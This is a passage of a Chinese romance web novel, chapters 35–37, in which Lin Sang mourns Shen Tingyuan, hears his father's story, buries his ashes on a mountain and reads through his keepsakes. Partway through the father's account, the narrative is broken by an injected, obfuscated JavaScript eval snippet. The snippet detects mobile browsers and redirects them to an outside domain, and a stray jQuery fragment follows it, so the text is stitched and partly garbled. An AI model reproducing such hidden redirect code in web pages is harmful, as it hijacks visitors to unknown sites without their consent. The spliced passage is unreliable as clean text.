她盯着天花板看了一会儿才起身,声音平静得不行:“去。” 林桑穿上鞋,像个游魂一般跟着侯云景到太平间。 太平间内气温很低,排风口的风扇呼呼转着,顶上的灯晃了晃,一下一下刺痛着她的眼。 “去吧。”侯云景下巴往前一扬道,“尽快,医院不让久待。” 林桑走到床边站定,看着隆起的白布,还是不愿相信。 她手几次抬起,又几次放下。 直到想起万一耽搁太久被赶出去,连最后一面都见不到,她才终于下了决心一般,一点一点将白布掀开。 沈听原惨白的脸出现在眼前,林桑阖上眼,用最快的速度将白布盖了回去。 她垂下头,低声啜泣,颤着手去握那只冰凉的手。 他手上的戒指不知何时摘的,此刻无名指上空空如也,只余一层淡淡的痕迹。 林桑指尖挤进他的指缝间,与他十指相扣。 “你以为摘了戒指就能摆脱我吗?” “沈听原,你还欠我很多承诺没完成……” “只要你没完成,不管转几次世,我都会一直缠着你。” “……” 没了今生又如何。 他们,还有很多个来世。 鲜花满地的未来。 也将在来世如愿。 …… 从太平间出来后,侯云景指着楼梯口一侧的长椅说:“瞿叔叔在那边等你,他有话对你说。” 林桑到后面时情绪崩溃,现在已经发不出任何声音,只能点头。 瞿利安低着头,垂眼看着手里的手机,眼神空洞。 林桑走到他身侧坐下,因为发不出声,只能在瞿利安抬眼看过来时张口无声地叫了他一声。 瞿利安将手机递给她:“小原给你留的,里面有段录音。” 林桑接过,黑色的屏幕在扫到她的脸时亮了起来,手机自动识别解了锁。 她没点录音,而是摁灭屏幕将手机放进包里。 这时,一侧的瞿利安又开了口,“我和他妈妈,是大学那会儿认识的。” 瞿利安高三毕业那年,以全县第一的成绩考进了北城大学。 他父亲早逝,全靠母亲供养,为了帮家里减轻负担,去了北城后他就开始四处找工作,做家教攒了钱后,他便开始和同寝室的人研究创业。 创业初期,每天都很忙,他无心关注任何事。 一同创业的同学开始一反常态每天拎着早点过来他也没在意过。 直到有天出门被一个女生拦住他才知道,那段时间的早点都是眼前的女生送的。 难怪每次说要给钱那个同学都笑着说不用。 女生笑着随口问他早点喜不喜欢,要不要换一个。 对他来说,平白无故吃了人姑娘这么长时间的早点,现在人在眼前,那种窘迫感,无异于吃了霸王餐被店长逮到。 他提出以后换他给女生送早点,将过去的补回来他们就算是扯平。 女生咧嘴一笑,说自己为了收买他的同学可是买了双份早点的,他送的时间得长一些。 瞿利安自觉理亏,欣然答应。 一来二去,接触的时间越来越长,他渐渐地发现了自己对沈已玲的感情。 两厢情愿,一切自然水到渠成。 毕业后,瞿利安事业越来越好,他跟着沈已玲去了东城拜访她的父母,得到二老的应允后又带沈已玲回了花乌镇。 听说他要带女朋友回家,并且两人已经决定结婚时,母亲高兴极了,从得知消息就开始期盼他们回家。 到了花乌镇两天,一切都很平静,母亲对沈已玲的关爱和喜欢都快胜过他这个亲儿子,甚至将祖传的,要在婚礼当天给儿媳的发簪和耳环都提前拿出来给了沈已玲。 第三天时,母亲出了趟门回来,像是变了个人一般,一口咬定算过八字,沈听玲的八字对她不利,瞿利安要是娶她进门,就是想害死生养自己的亲妈。 瞿利安百般劝说,母亲铁了心要让他们分开,怎么都不愿松口,最后不欢而散。 他和沈已玲约定好了谁都不能妥协,一起熬,总会熬到母亲松口的那一天。 可后来,就在他快要说服母亲时,沈已玲先妥协了,她毅然提出分手,决绝又无情。 瞿利安那段时间几乎推了所有工作,两头求和。 那时他才发现,一个人真想躲一个人的时候,是真的令人无可奈何。 他开始联系不上沈已玲,除了他们一家已经搬迁,他什么都不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807377|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 他连他们究竟搬到哪个城市生活都无从得知。 每次获得一星半点的消息都没什么用,试了多次无果后,瞿利安只能用工作来麻痹自己,闲暇之余,到处打探沈已玲的消息。 怕她有需要时找不到自己,他不敢换联系方式,不敢换住址。 就这么过了几年,一对老夫妇找上门来。 那是沈已玲的父母,他们告诉他,他有个儿子,已经六岁了。 他难掩内心的喜悦,收拾一番买了一堆礼物跟他们去了榆城。 他以为,沈已玲终于原谅他了,他终于能见到她了。 可他并没有见到沈已玲,她的父母说她去了国外,带着孩子不方便,所以,以后这个孩子他想抚养的话就由他带走抚养,要是不想,就他们自己抚养。 他接走了沈听原,他认真抚养着这个凭空冒出来的儿子,就为了再次见到她时,让她知道,他把他们的儿子抚养得很好,他不会再让她失望。 直到后来,沈听原发病。 将沈听原接到身边后,每年他只要有空都会给沈听原安排体检,沈听原各项指标都正常,他家里没有心脏病史,询问后他才从他们口中得知沈已玲有心脏病,且早在生完沈听原那天就彻底离开了。 而当初所谓的八字不合,也不过是一个借口。 因为母亲问起什么时候有生孩子的打算,沈已玲说自己的身体状况不适合生孩子,过来拜访就是想告诉她这个事,如果不能接受,她会试着和瞿利安分手。 沈已玲给他留了一封信,信里她说她一直想告诉他自己的身体状况,可他们甜蜜多一分,她就越发说不出口,也舍不得。信的最后,她说希望他能原谅她的自私,忘了她,然后成家立业好好生活。 所有人都瞒着他,瞒了将近二十年。 瞿利安垂下头,捏了捏眉心,他从没想过,熟悉的一幕,马上要在下一辈身上上演。 他有沈听原,有着牵挂,他没法跟其他人组建家庭,更没法忘记沈已玲开启新的生活。 日思夜想的人和自己阴阳相隔,此生再无相见之日是什么滋味,他再清楚不过。 好在,沈听原和林桑之间,没有看得见摸得着的牵挂,更不存在孩子这种很深的羁绊。 他还来得及阻止悲剧的发生。 “一会儿我让云景送你到附近的酒店,休息几天后,你就回学校吧,别耽误学业。” “孩子,我很感谢你,能在小原生命快走到尽头的这段时间一直陪着他。” “是小原没福分跟你这个好姑娘相守一辈子。” “回去之后,好好生活,忘了他吧。” “……” 林桑一直安静听着,指尖陷进肉里,力度大到像是要将掌心戳穿一般。 她张口努力想要说话,却发不出任何声音。 只能一个劲摇头,从包里翻出手机解锁,打开备忘录开始敲字。 眼前模糊一片,指尖冰凉颤抖,短短的内容打错了好几次。 【瞿叔叔,葬礼要回云亭办吗,还是花乌镇,大概什么时候,我想一起。】 瞿利安盯着屏幕看了半晌,移开眼,仰头看着天空说:“没有葬礼。” 林桑不自觉瞪大眼睛,疑惑地看着他。 瞿利安叹了一声道:“我们花乌镇的风俗,只要未婚,不管几岁去世,不办葬礼,不立碑,永不祭奠。” “要是违背了,会影响他来世的时运。” 林桑抬起手,拼命地指着手上的戒指,急切地想要表达出自己的意思,却因为嗓子,都化作了一声声撕裂沙哑的“啊”。 瞿利安无力地摇头,“这事只有我们知道,做不得数的。” 林桑慌乱不已,低头开始打字,泪水一滴接一滴砸在屏幕上,她却无暇顾及:【我们可以告诉别人,我拍了很多照片的。】 【真的,告诉别人我们结婚了,他就能办葬礼立碑了。】 瞿利安深知这对林桑来说有多残忍,可他不得不这么做。 他必须做个决绝又凉薄的人。 这样,才能遂了沈听原的愿,斩断林桑的一切念想。 “没用的,你们没有走过流程,光靠几张图片和一张嘴去说,不作数。” “况且,你们连法定年龄都没到……” 他默了一瞬,剩下的话,令林桑有种被下了最后通牒的绝望。 “他受了那么多非人的折磨,我希望他来世能顺遂无忧,做个健健康康的普通人,平平安安地过完一生。” “所以,好孩子,别为难我,更别恨我。” “我也舍不得,但我必须这么做。” “……” 冷风吹过,枯枝和地面上是白皑皑的雪。 周围没什么人,一切显得寂静又荒凉。 她内心才冒出新芽的枯草,渐渐地,被冻到失去本色,连带着草根也被冻死。 自此,连野火都烧不尽的枯草,再无破土而出汲取阳光肆意生长之日。 是啊。 他们这段婚姻,连法律都不认可。 她又怎能行使一个妻子才能行使的权利呢。 他遭受了那么多痛苦。 她又怎能让他来世重蹈覆辙呢。 她希望他来世能如她当今所愿,一直做个意气风发的少年人,一路鲜花满地。 许久之后,林桑还是不想放弃,在屏幕上敲下一行字:【可是,总归要下葬的啊。】 瞿利安仰着头,叹了一声道:“花乌镇背靠高山。” “那里,就是他最后的归宿。” 36.第 36 章 窗外雪还未停,落在路灯下时,像是飞舞的小虫子一般。 杏叶黄了。 初雪来了。 而他们。 赶不上最后一场冬樱花了…… 林桑捧着手机,独自坐在酒店阳台发呆,白茫茫的雪落在她眼里,联想到这些,内心难免一阵酸涩。 她不知道自己这样待了多久,只觉得心里空落落的,时不时涌上一股失去了什么,却又抓不住的无力感和不真实感。 虽说知道瞿利安不可能骗她,但这会儿的她迫切地想要找个支撑点,找点希望,哪怕很渺茫。 林桑打开手机,急切地在各大浏览器上搜索了一番,地方风俗,她获取到的信息寥寥无几。 最后,她才终于鼓起勇气,找方倚霏确认花乌镇是不是真的有这个风俗。 房间没开灯,手上的钻戒在窗外微弱的光线下,折射出一道刺目绚烂的光。 像是一场极具嘲讽意味的笑话。 林桑看着屏幕,那头回复的消息和预想中一样,她不禁苦笑一声,将戒指转了一圈。 这时,放在腿间的另一部手机因为她的动作,再一次自动人脸识别成功解锁。 她已经记不清这是第几次了,仿佛在催促着她将录音尽快听完一般。 林桑指尖停在电源键上,快要摁下去时,她犹豫了一会儿,打开了录音软件。 里面有一段长达一分十四秒的录音,后面跟了一串数字,是录制的时间。 2019年10月24日。 林桑垂眼看了一会儿,阖上酸胀的眼,捏了捏眉心,赶在手机息屏前打开了录音。 一阵沙沙声后,熟悉的声音才响起。 “对不起啊,金金。” “一起考北城外国语大学的承诺没能履行,陪你再走八十年,享受到白头的承诺,也要失约了。” “过年也没给你放烟花。” “就连初雪……” 他语速很慢,一阵剧烈的咳嗽声后,他费力的声音才又再次响起:“我可能也等不到了。” “别恨我……” 之后,又是一阵咳嗽声,由近及远,随后响起了侯云景模糊的声音,录音到此结束。 林桑握着已经息屏的手机,脸埋在腿间,泣不成声。 那个肆意妄为不可一世的少年,为了她,收起了一身锋芒,想要和她一起走向鲜花满地的未来里。 可在他们离期盼的未来只有一步之遥时。 他食言了。 都以为曾经爱到骨子里的两个人中有一方在某天说尽了谎言时,是因为不爱。 可事实上呢,滥情者风生水起,情种在爱里浮浮沉沉,受尽折磨后走向悲剧。前者说尽谎言或许真是因为不爱,后者则是因为爱到极致。 她想大声告诉他,她不会恨他。 早在很久以前,她就不信许下的承诺都能完成这种事了。 当初在副食店里那句“我信奉诺言许下就必须要履行”也不过是她小时候所信奉的。 他怎么就信了呢。 甚至还怕她会因此记恨他。 林桑张着嘴想要放声大喊,却连最简单的“啊”都发不出来。 她不记得自己是什么时候睡着的。 许是因为受了刺激,她久违地梦到了小时候的事。 林桑父母在东城开了工厂,她在东城出生,在东城长大,却不怎么喜欢待在东城,因为刘乔千和林信问每天都很忙,经常出差,只能找人照顾她,一年到头她连见他们一面都难。 林景和她都不喜欢这种亲人在身边却又很遥远的感觉。 在六岁那年,兄妹俩一起被送回云亭,跟着奶奶一起生活。 上小学后,林信问担心他们作为父母在林桑的成长过程中参与太少的话,她会走向一条歧路,索性放弃工作回云亭每天陪林桑。 那时候云亭还没有培训兴趣爱好的机构,林信问抓住商机,一手创办了云亭第一家培训机构。 林桑每天下课后就跟着林信问到机构里,画画、乐器、唱歌、游泳,什么都学一点。 二年级那年暑假,因为云亭天气炎热,林桑每天都去练习游泳,正好降降暑。 林信问水性极差,但为了在陪她的时候有些参与感,也买了一套游泳服,每天在泳池边守着鼓励她,给她拍照录视频。 出意外那天,林桑中午练习完游泳后,林信问带她回家准备写作业。 路上,她没忍住又跑去摘了别人家的悬铃花吸花蜜,林信问笑得无奈,说她是个没道德的小馋猫,然后进门和主人家要了一棵很小的悬铃花花苗,说回家就带她种,过不了多久她就可以大饱口福。 走到半路时,侧边有一条河,那条河看上去不大,水流却很湍急,且因为早几年挖沙,有不少暗坑,很深。 那年的云亭还没开始整改,河边的围栏也不严谨,断了都没人修缮。 周边围了不少人,一个女人坐在地上哭得撕心裂肺,见到林桑和林信问,他们像是见到了救命稻草一般,坐在地上的女人慌忙起身过来,一把拽住林信问的腿,说他会游泳,让他帮忙下河救救她的儿子。 河流距离道路的垂直高度至少有两米,不知道那个小孩是怎么下去的,此时被困在河道中间的大石头上,大石头旁的河水汇聚成一个巨大的水池,小孩的双腿已经被河水吞没,水位隐隐有上涨的趋势。 小孩的哭声几乎快要盖过河水流动的声音,林信问有些不忍,可林桑十分认真地和女人解释着他不谙水性,穿游泳服只是为了陪她。 见他无动于衷,有围观的人渐渐开始低语,慢慢的声音越来越大,明里暗里讽刺他就是不想帮忙才故意让孩子说这些。 在那些七嘴八舌的议论中,林信问开口问:“报警了吗?” 有人嗤笑一声接话道:“要不是报了半天没动静,谁会求你。” “一求求了个没良心的,真是浪费感情!” 那时的云亭还只是个十分落后的小县城,各方面的设施和制度都没那么完善,林信问深知这一点,只是没想到半晌都没人出警,他顿了顿,开口解释自己真不会游泳,但能找人过来帮忙,可他一张嘴哪抵得过那么多张,没人在意他说了什么,站在道德最高点大肆指责着他。那些话逐渐变得不堪入耳,林信问不想让林桑听到这些,往河道中间的小孩看了一眼,挣扎几秒后,挣脱了女人,在周围人的骂声中拉着林桑离开。 林信问带着林桑径直往前,来到一家小卖部停下,林桑每次表现不错时,林信问都会带她到里面买东西。 他带着林桑买了一盒很大的雪糕,让林桑等他几分钟,他回去和那些人解释自己不会游泳,可以帮他们联系人过来帮忙。 林桑坐在小卖部里面的椅子上,嘱咐他一定要好好解释,他们会理 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葬礼结束后,林桑自己在花坛里挖了一个坑,将那株已经开始干枯的悬铃花种了下去,可她没能等到大饱口福的时候。 小孩最终没救回来,失手害了林信问的人也面临坐牢,小孩的家人隔三差五就会找上门来大闹一番,报警多次无果后,刘乔千想带她离开,她不太想。因为刘乔千工作忙陪不了她,去了东城也是她一个人,再加上爷爷在她还没出生的时候就因病去世了,奶奶不愿离开云亭,一直一个人,如今因为丧子之痛,身体越来越差,她想多陪陪奶奶。那群人成天守在鸣桐巷,刘乔千找人偷偷把她送去了外公家,对外则宣称已经带她去了东城。 她那段时间都躲在外公家不敢出门,后来那个小孩一家搬离了云亭她才敢出门活动去找奶奶。 也是很久之后她才知道,那天林信问确实跟他们好好解释了自己不会游泳,甚至还打了电话让人过来帮忙,但等待的过程中,围观的人在一旁看热闹不嫌事大,指责他就是不想帮忙,都跑了还回来装好人,谁知道他那通电话是真是假,更有甚者,将可能会错过最佳救助时间也赖到他头上,你一言我一语,导致小孩的妈妈情绪失控,抓着他让他下水,结果一时不备将他推了下去。 林信问后脑勺磕在石头上,随后又被湍急的河水卷着往前走,在河水中漂泊了将近二十分钟才被救上岸。 从奶奶那得知这个消息时,林桑已经上初中,她比想象中还要平静。 她独自去了墓园,摸着墓碑上面的照片告诉林信问,她从来不会怪他,她只是因为他教育自己要做个守信的人,才会信奉人既然许下了诺言,就一定要兑现,哪怕有万难。 可现在,她长大了,开始懂得生活总是有很多意外,有很多不可抗力。 没人知道明天和意外哪一个会最先到达。 食言。 也是人之常情。 林桑从睡梦中惊醒,窗外雪已经停了,远处天际线发出幽亮的光,几颗星星在泛起鱼肚白的天空上闪烁着。 脸上泪痕未干,林桑盯着天花板,想像以前告诉林信问那样,告诉沈听原自己不会恨他食言。 可是,她想和林信问说话时可以去墓园。 以后想和沈听原说话。 该去何地呢。 她不知道。 37.第 37 章 林桑跟着瞿利安和侯云景去了殡仪馆,她坐在休息大厅里,静默地看着大屏上的逝者消息,泪水不受控地往下滑,一颗心剧烈地跳动着,却感受不到痛。 她就这样,亲眼看着过去她要踮起脚才能碰到头顶的人化作了一个小小的盒子。 沈听原过去总喜欢逗她,会时不时趴在她背上扬言要她背他,他那么高的大个,她别说背他抱他,就是他在背上轻轻趴一会儿都无法承受。 而如今,她竟能抱起他,毫不费力,易如反掌。 那时在云亭体育馆被他抱起的她,怎么也想不到,会有这么一天,是她将他牢牢抱在怀中。 从殡仪馆出来后,林桑回了趟学校,重新请了假,随意收拾了点东西便和他们一起带沈听原回花乌镇。 到花乌镇后也没耽搁,隔天一早就上了山。 山路崎岖狭窄,全程上坡且漫长,他们都担心她吃不吃得消,但林桑一直没什么感觉,她脑袋放空,不知道自己走了多久,只知道山风愈发清冽,树木愈发高大密集,阳光只在风顽皮地拍打树叶时才能透进来,远处传来各种奇怪的叫声,好像离有人的地方越来越远了。 她不禁想,他们离开后,他一个人待在这,会不会害怕啊。 到地方后,瞿利安和侯云景负责挖坑,林桑抱着那只小小的盒子蹲在一旁松树下。 外面堆的土越来越多,坑越来越深,像是进度条,告诉她马上就要接近全剧终了。 盒子上的土越来越多,渐渐的,连盒子都消失,再之后,那个小小的坑被填满。 除了土是新的,一切恢复如初。 仿若他们从未来过。 至此,不再是接近全剧终,而是真正地迎来了定型的,永远无法改写的结局。 …… 下山后,林桑告别瞿利安和侯云景,独自漫步在花乌镇的青石板小路上。 去年有个小有名气的博主做了一期和花灯节相关的视频,反响不错,在网上爆火了一段时间,花乌镇自此变成了一个网红打卡地,饶是没到节日,街上也十分热闹。 不知不觉间,林桑跟着人流来到了河道旁,道路两侧的商贩不停吆喝着,河边不少穿着当地民族服饰的情侣和夫妻在放灯祈福。 当年她站过的位置上,有个高个男孩提着一只花灯立在那低头发消息,神情有些不耐。不一会儿,有个女孩跳着轻快的步伐躲在男孩身后,抬手拍了拍男孩的肩膀,男孩转过身,女孩躲了一下,在被发现时俏皮一笑,男孩愣神几秒,故作高傲地将手里的花灯递给女孩,不知道女孩说了什么,男孩被逗笑,他们看着彼此,有着独属于这个年纪的青涩和纯真。 林桑站在一旁,将这一幕尽收眼底,一时间有些恍惚。 和他重回故地,竟是以这种方式。 她收回眼,有商贩上前推销,“啊妹,许个愿嘛,可灵了。” 林桑垂眼看着商贩手里的孔明灯和河灯,摇了摇头,在备忘录敲下四个字:【不了,谢谢。】 见她说不了话,商贩愣了一瞬,但没放弃,极力推销着,还说起仙子庇护众生,是心软之人,见不得相爱之人天各一方,更见不得苦楚,她只要许了百分百灵应,指不定就能开口说话了。 林桑怔了怔,视线飘向远处层叠的山峰,下意识低喃道:“明明一点也不灵……” 她嗓子还没恢复,说出来的字音含糊不清,商贩没听清,疑惑地朝她看的方向望了望,“什么?” 林桑回过神,歉然地笑了笑,飞速敲下两行字。 【不好意思啊,我是说,我许过了。】 【许太多怕仙子觉得我贪心不帮我实现,就不麻烦了。】 商贩了然,留下一句下次有需要可以找他后就寻找下一个推销对象去了。 林桑在原地停了许久后,释然一笑,逆着人流离开。 有缘再会啦,沈听原。 * 回学校后,舍友每天都会和林桑聊天,哪怕她发不了声无法回应。 其他人因为距离,只能每天给她发消息,分享着他们最近遇上了什么事,每天都在做些什么,希望借此帮她转移注意力。 所有人都在担心着她的状态。 林桑像个没事人一样,仿佛一切都没发生过,照常过着和过去一样的生活,每天按部就班地上课参加活动泡图书馆。 到了晚上,她经常一个人趴在寝室阳台,仰头盯着某个位置发呆。 室友时不时会问她在看什么,林桑每次都在备忘录里敲下三个字: ——数星星。 在忙碌的生活里,她偶尔会抽空去看医生。 林桑声带受损,不算严重,但治疗起来也是个漫长的过程,等她的声音恢复一半时,北城外国语大学也迎来了寒假。 下了高铁踏上云亭的土地时,林桑还有些恍惚。 就像是做了一场很长的梦,此刻终于醒来一般。 她坐在出租车上,看着在窗外划过的残影,在看到一些熟悉的地方时,过去的画面就会像走马灯一般在眼前飞速闪过。 原来,人不止在去世前会遇上走马灯,在精神恍惚,看到特定的场景时也会。 外公和何爷爷在巷口等她,接到她后,他们一直对沈听原的事闭口不谈,只是问起她路上累不累,连她最近瘦了不少都没敢提。 晚上,林桑去了鸣桐巷,林景自己创业变得忙碌起来,即使是假期也没时间,很少会回来。 林桑窝在沙发上,靠在奶奶怀里陪奶奶看电视。 剧里,女主在男主那受了委屈后,埋在外婆怀里大哭,说男主欺负她,外婆大声说帮她教训回去。 奶奶反应很快,拿起遥控器将电视关了。 林桑看着黑屏的电视,默了一瞬,泪水决堤。 她埋在奶奶怀里,像个受了委屈的小孩一般告状:“奶奶,他欺负我。” “他撒谎骗我。” “沈听原欺负我……” 她越说越语无伦次,最后只剩下嘶哑的哭腔,奶奶眼里噙着泪水,一下一下在她背上轻轻拍着。 都让她受了欺负要知道说,可如今谁也不帮她。 谁都奈何不了他。 …… 回云亭一周后,林桑接到了一通从北城打来的电话。 是个陌生号码。 她有些奇怪,接通后,那头传来侯云景的声音。 “你回云亭了吗?” 林桑顿了一下:“回了。” “你有空的话……去台球馆找趟李勋。” “那些东西瞿叔叔让我都烧了,我想了一下,他连墓碑都没有,给你留点他的东西,也算有个念想。” 别人来世上走一遭,去世后还能留个墓碑供人祭奠。 而沈听原,除了一段录音和那些随时都会因为时间的推移而消散的记忆,什么都没给她留下。 林桑一时失神,等她反应过来,那头已经将电话挂断了。 她和侯云景每一次短暂的交流都跟沈听原有关,一直没留过联系方式。 林桑看着屏幕,犹豫了一瞬,没回拨,低声说了声谢谢。 林桑收拾了一番出门往台球馆赶,到门口时,许是侯云景提前打过招呼,李勋怀里抱着一个棕色纸箱蹲在门边等她。 见她到了,李勋起身将手里的纸箱递给她。 林桑伸手接过,道了谢,转身离开时,被李勋喊住。 “那个……” 林桑:“怎么了?” 李勋眼神闪躲,舔了舔唇道:“对不起,节哀。” 林桑没说话,摇了摇头就阔步离开。 到家后,林桑关上房间门,抱着纸箱蹲在地上,泪水如珠子一般滚落,噼里啪啦砸在纸箱上。 几分钟后,她抬手抹去泪水,缓缓揭开箱盖。 里面东西很多,林桑先拿了放在上面的四方盒子打开,是一枚银色素圈和一根缠了硬币的红绳。 她看了看手上戴着的红绳和戒指,将盒子合上放到一旁。 之后,是一份红色包装的录取通知书。 这是北城外国语大学的录取通知书,她再熟悉不过。 林桑没打开看,将东西放到一旁。 录取通知书下方是一个文件夹,外面贴了一张便签,上面写了一行字: ——“一句情话不说两遍,会腻。” 她将文件夹翻开,里面是大大小小的纸条,每一张上面都有日期和序号。 沈听原送她回寝室的每一个晚上,到楼下时都会给她塞一张小纸条,上面有时候是摘抄,有时候是他自己写的情话。 从他们互通心意之后开始,一直到他离开云亭,那些纸条一晚一晚累积,多到她专门买了一个20寸的行李箱来存放。 林桑起身将塞在衣柜下方的行李箱拖出来,上面落了不少灰,林桑将灰都拍去后才打开。 一打开,里面满当当的纸条就弹了出来。 每一张纸条都很薄,却承载了少年满腔的爱意。 她垂眼看了一会儿,拾起一张,按照上面的日期对了一下,又拿了一张核对,全都能对上。 她那时还奇怪这么多纸条他是怎么做到从来不重复的,原来都做了记录。 林桑没再多看,又在纸箱里翻出几张照片和一个纸做的小圆盘。 第一张照片是她第一次在云亭一中演讲时拍的,拍照的人为了躲避老师,一张照片上,几乎都是乌泱泱的人头。 翻过来一看,后面写了一行字,字迹苍劲有力。 ——“她的万千勋章之一。” 思绪被拉回演讲那天,想到下午广播里放的《勋章》,林桑扯唇笑了一下。 原来,她背书时觉得有趣的投稿人。 是他。 …… 后面几张照片,是云亭四中的荣誉榜。 记录了沈听原从最初处在荣誉榜旁的处分榜,慢慢转到荣誉榜末端的鼓励奖,又慢慢升到三等奖,又升到二等奖,最后升到一等奖。 他们的名字上下排列着,沈听原在上面画了个圈,将两个名字圈在一起。 林桑指尖停在上面,指腹轻轻地在上面摩挲了片刻后,才开始细看小圆盘上面的那副画。 颜色虽然暗淡了些,但画的内容还清晰,林桑忽地想起,这是她初三上学期那会儿画的。 当时学校举办了校园文化艺术节,前几天以征集绘画书法以及手工作品什么的为主,下午美术课上,美术老师拿了纸盘来,让他们在纸盘上画画,题材不限,自由发挥。 那天上午,林桑他们班提前下了课,所以吃饭时间比其他班要早得多,她吃完饭回到教室的时候,班上没什么人,整栋教学楼也是寂静的。 林桑放好东西后,走到外面,趴在栏杆上眺望着远处的风景。 她的教室在四楼最右端,沈听原的教室则在三楼最左端,那时教学楼外面是那种铁制的镂空花纹栏杆,她只要稍微倾身,就能看到沈听原他们班那扇暗红色的教室门。 平时站在外面的时候,因为人多怕被发现,她都不敢太明显。 那天周边都没人,即使知道这个点他应该去吃饭了,她还是忍不住探出一半身子往那个方向看。 只一眼,她就用最快的速度退回到教室外的墙壁上,一颗心像是要蹦出来一般地跳动着。 她没想到,那里会有人同样靠在栏杆上,而那个人,好巧不巧。 是沈听原。 好在,他并没有发现她。 林桑拿着纸盘,听着身边的同学讨论着要画什么,脑海里再次浮现出这一幕,久久挥之不去。 她索性提笔将这一幕画在了纸盘上。 为了欲盖弥彰,她在栏杆上多添了几道身影。 后来,她的作品入选了。 老师弄了一块很大的木板来,将入选的纸盘都贴在上面,下面标注了名字和班级,放在教学楼下展览。 那段时间风很大,纸盘没一会儿就被吹了下来,捡回去重新粘上没多久马上又被吹飞。 几次之后老师也放任不管了,有同学不舍得自己花了心思创作出来的作品就这样被风吹走,直接将纸盘拿下来带了回去。 林桑也去了,可等她到的时候,她的名字上面,是空的。 她一直以为是去晚了被风吹走了。 没想到,东西竟然在他这。 林桑盯着上面已经褪色的画看了一会儿才伸手从箱子里取出一本很厚的深棕色牛皮笔记本。 翻开一看,上面记录了日期和一些话。 日期从沈听原离开云亭的第二天开始,内容则是简单的早安和晚安。 这么持续了几天后,除了早安和晚安,慢慢的多了其他内容。 林桑一眼就懂了,这是他在回复她发的那些消息。 沈听原是走读生,每天都有手机,哪怕她没手机看不到,他也会习惯性每天给她发早安和晚安。 后来联系断了就没再发过。 没想到,这个习惯,他在用这种方式保持着。 林桑一页一页翻看着,脑海中不禁浮现出他写下这些内容时的神情和姿态。 2018年2月15日 我:早安。 King Bob:沈听原,新年快乐。 我:金金,新年快乐。 我:晚安。 2018年2月17日 我:早安。 King Bob:你看,我今天晚上一个人去放烟花,我现在都敢自己点烟花了,厉害吧。 我:金金还是一如既往厉害。 我:对不起,说好了过年还给你放烟花的。 我:晚安。 …… 2018年3月25日 我:早安。 King Bob:昨天第二次听力考试了,我就想到了你。 King Bob:你要是再考一次的话,说不定能比上一次多考几分呢。 我:这么快就开始了吗。 我:我也想你。 我:说不定比上次还低呢。 我:晚安。 这之后,一直到高考前,她拿到手机的次数不多,满页都是日期加早安晚安,偶尔是她分享成绩时,他对她的夸赞。 一直到她高考完,上面的内容才又多了起来。 她那段时间废话很多,经常想到什么就打开聊天框发过去,有些内容连她自己都不记得,却全被他记录在笔记本上,还都做了回复。 林桑每一页都看得仔细,哭笑不得。 又翻过一页,林桑看着上面的内容,动作顿住。 2018年8月27日 我:早安。 King Bob:我去了你小时候经常去的公园,遇到了爷爷,以前在你相册里见过照片,我一直记得。 King Bob:他送了我一串手串,祝我一路顺利。 King Bob:你说,他是不是也认出我了。 我:那个公园怎么样,挺好玩的吧。 我:是吗,那还蛮巧。 我:我也希望你一路顺利。 我:笨蛋,爷爷早就看过照片记得你长什么样了。 …… King Bob:沈听原,我在北城外国语大学等你。(语音) 我:………………好。(没忍住回了消息) 我:金金,去了北城后,一切顺利。 2018年10月10日 我:早安。 我:金金,我身体没什么大碍,现在已经恢复得差不多,但我还是不敢给你发消息。 我:对了,我复学了,现在才开始复习,我不确定能不能考上,不敢跟你说,怕你满怀期望会落空。 我:学校宣传栏上贴了录取喜报,你在第一位,每天都能听到老师夸你。 我:真骄傲。 我:晚安。 之后的内容和过去差不多,固定的早安晚安加上对她发的消息的回复,因为他已经复学,有时候会有他的成绩。 2019年6月过后,上面的内容换了个字迹,只记录了她发的内容,没有了他的回复,也没了他的分享。 临近8月中旬时,上面才又恢复了熟悉的字迹。 2019年8月14日 我:早安。 我:金金,我马上能来北城见你了。 我:晚安,期盼早日和你相见。 2019年9月6日 我:早安。 我:北城的天气还怪难受的,来了这么长时间连蓝天都没怎么见到过。 我:不知道你来这边待不待得惯。 King Bob:沈听原,北城外国语大学又开学了,现在在军训。 我:悄悄告诉你,今年新生报到我可没缺席,我成19级新生了。 我:军训我就不参加了,最近老是咳,被我哥抓到医院了。 我:啊,我都躺腻了。 我:晚安,真想早点见你。 …… 变化的字迹和缺少的回复,昭示着那段日子里,他遭受了怎样的折磨。 林桑一把将笔记本合上,没再往下看。 平复心情后,她又拿起纸箱翻了翻,里面是一些不同种类的魔方和拼好的积木。 手再往下探,摸到了一个有些硬的东西。 她把上面的东西都取出来,一个长方形的蓝色纸盒映入眼帘。 林桑将纸盒拿出来打开,里面放着一支小黄人笔帽的笔。 是她在云亭一中第一次月考时送杨思怡的那一支。 而那支笔的下方,是几个暗红色的小盒子,整齐地码放着,盒盖上印有几个烫金大字,是云亭最大的那家珠宝店店名。 林桑一一打开看了一遍,金耳环、金吊坠、金项链、金戒指、金手镯。 正好五金。 又或者说,是六金。 因为,多了一对耳环。 他们都想过要和对方结婚,甚至偷偷办了一场只有婚戒的婚礼。 这一切,如同运气好的人才能见到的飞速划过的流星一般,只有极少数人知晓。 他们跟别人说方才看到了流星,别人抬眼寻找,只能看到如墨的夜空。 再怎么说,都没人会信。 他们明明结婚了,她却连为他争取留下一块碑的权利都没有。 这段时间以来,她一直在刻意回避这个事,欺骗自己沈听原还在治疗,他今年没有到北城外国语大学报道。 但现在,这些东西一件一件出现在她眼前,她骗不了了。 林桑抱着怀里的纸箱,斜倚在床边,脑子里的东西全都放空了。 她像个处于休眠状态的机器人一般,眼神呆滞地盯着前方。 忽地,被她随意放在床上的包滑落而下,上面的小黄人挂件正好卡在林桑身后,一道电子音在寂静的卧室里响起。 “I love you !I love you……” 她一直维持着这个状态,直到外公的声音在门外响起才缓缓回过神,有了几分鲜活的气息。 